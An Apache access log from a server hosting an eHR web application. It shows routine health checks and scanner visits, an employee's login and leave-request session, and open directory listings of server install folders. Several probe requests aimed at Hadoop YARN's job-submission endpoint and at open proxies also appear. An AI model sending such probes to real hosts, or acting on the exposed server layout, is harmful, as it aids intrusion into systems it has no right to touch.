100.64.0.1 - - [06/Sep/2025:00:48:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:00:48:31 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:00:48:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:00:48:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:00:57:35 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:00:57:35 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:01:09:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:09:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:01:11:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:11:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:01:27:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:27:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:01:28:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:28:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:01:34:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:34:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:01:38:03 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:38:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:01:55:36 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:01:55:36 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:01:59:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:01:59:17 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:04:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:04:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:06:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:06:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:07:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:07:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:11:42 +0800] "\x03" 501 203
100.64.0.1 - - [06/Sep/2025:02:11:42 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [06/Sep/2025:02:27:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:27:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:33:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:33:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:45:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:45:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:47:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:47:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:51:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:51:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:02:56:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:02:56:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:12:54 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [06/Sep/2025:03:12:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:13:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [06/Sep/2025:03:13:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:20:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:03:20:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:25:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:03:25:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:25:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:03:25:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:27:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:03:27:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:47:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:47:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:03:49:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:03:49:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:53:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:03:53:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:03:54:03 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:03:54:03 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
100.64.0.1 - - [06/Sep/2025:04:04:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:04:58 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:07:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:07:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:09:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:09:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:13:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:13:19 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:34:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:34:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:34:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [06/Sep/2025:04:34:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [06/Sep/2025:04:37:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:37:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:43:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:43:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:04:45:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:04:45:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:02:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:02:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:05:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:05:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:09:19 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [06/Sep/2025:05:09:19 +0800] "\x03" 501 203
100.64.0.1 - - [06/Sep/2025:05:11:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:05:11:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [06/Sep/2025:05:22:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:22:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:22:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:22:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:32:03 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:32:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:32:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:32:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:51:55 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [06/Sep/2025:05:51:55 +0800] "\x03" 501 203
100.64.0.1 - - [06/Sep/2025:05:55:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:55:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:05:57:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:05:57:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:03:08 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:03:10 +0800] "GET /eHR HTTP/1.1" 301 238
100.64.0.1 - - [06/Sep/2025:06:03:10 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:10 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [06/Sep/2025:06:03:10 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:11 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265
100.64.0.1 - - [06/Sep/2025:06:03:11 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [06/Sep/2025:06:03:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:13 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:13 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289
100.64.0.1 - - [06/Sep/2025:06:03:14 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399
100.64.0.1 - - [06/Sep/2025:06:03:14 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308
100.64.0.1 - - [06/Sep/2025:06:03:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:18 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241
100.64.0.1 - - [06/Sep/2025:06:03:18 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:19 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312
100.64.0.1 - - [06/Sep/2025:06:03:19 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:20 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:20 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528
100.64.0.1 - - [06/Sep/2025:06:03:21 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:21 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312
100.64.0.1 - - [06/Sep/2025:06:03:21 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528
100.64.0.1 - - [06/Sep/2025:06:03:21 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:22 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273
100.64.0.1 - - [06/Sep/2025:06:03:22 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:23 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:23 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099
100.64.0.1 - - [06/Sep/2025:06:03:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275
100.64.0.1 - - [06/Sep/2025:06:03:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [06/Sep/2025:06:03:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281
100.64.0.1 - - [06/Sep/2025:06:03:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:27 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:06:03:27 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:06:03:29 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:06:03:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:04:10 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:04:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:05:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:05:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:19:11 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:19:11 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:20:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:20:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:41:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:41:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:43:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:43:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:43:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:43:58 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:06:44:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:06:44:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:00:36 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [06/Sep/2025:07:00:36 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:01:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-85.so HTTP/1.1" 200 20576 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:07:01:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-85.so HTTP/1.1" 200 20576
100.64.0.1 - - [06/Sep/2025:07:09:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:09:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:10:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:10:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:18:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:18:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:20:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:20:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:32:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:32:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:39:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:39:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:47:44 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:07:47:44 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:07:47:45 +0800] "MGLNDD_202.111.43.170_8088" 501 228
100.64.0.1 - - [06/Sep/2025:07:47:45 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-"
100.64.0.1 - - [06/Sep/2025:07:59:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:59:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:07:59:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:07:59:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:08:01:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:01:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:08:01:46 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:08:01:46 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:08:01:46 +0800] "MGLNDD_222.92.19.198_8088" 501 227
100.64.0.1 - - [06/Sep/2025:08:01:46 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-"
100.64.0.1 - - [06/Sep/2025:08:02:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:02:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:08:21:23 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:08:21:23 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:08:21:23 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:08:21:23 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:08:27:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:27:01 +0800] "GET / HTTP/1.1" 200 439
192.168.11.64 - - [06/Sep/2025:08:29:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.64 - - [06/Sep/2025:08:29:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:29:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:29:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.64 - - [06/Sep/2025:08:29:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.64 - - [06/Sep/2025:08:29:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:29:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096
192.168.11.64 - - [06/Sep/2025:08:29:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:29:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [06/Sep/2025:08:29:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5618450691286268 HTTP/1.1" 200 13560
192.168.11.64 - - [06/Sep/2025:08:30:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5618450691286268 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5618450691286268 HTTP/1.1" 200 15741
192.168.11.64 - - [06/Sep/2025:08:30:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5618450691286268 HTTP/1.1" 200 15741 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5618450691286268" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
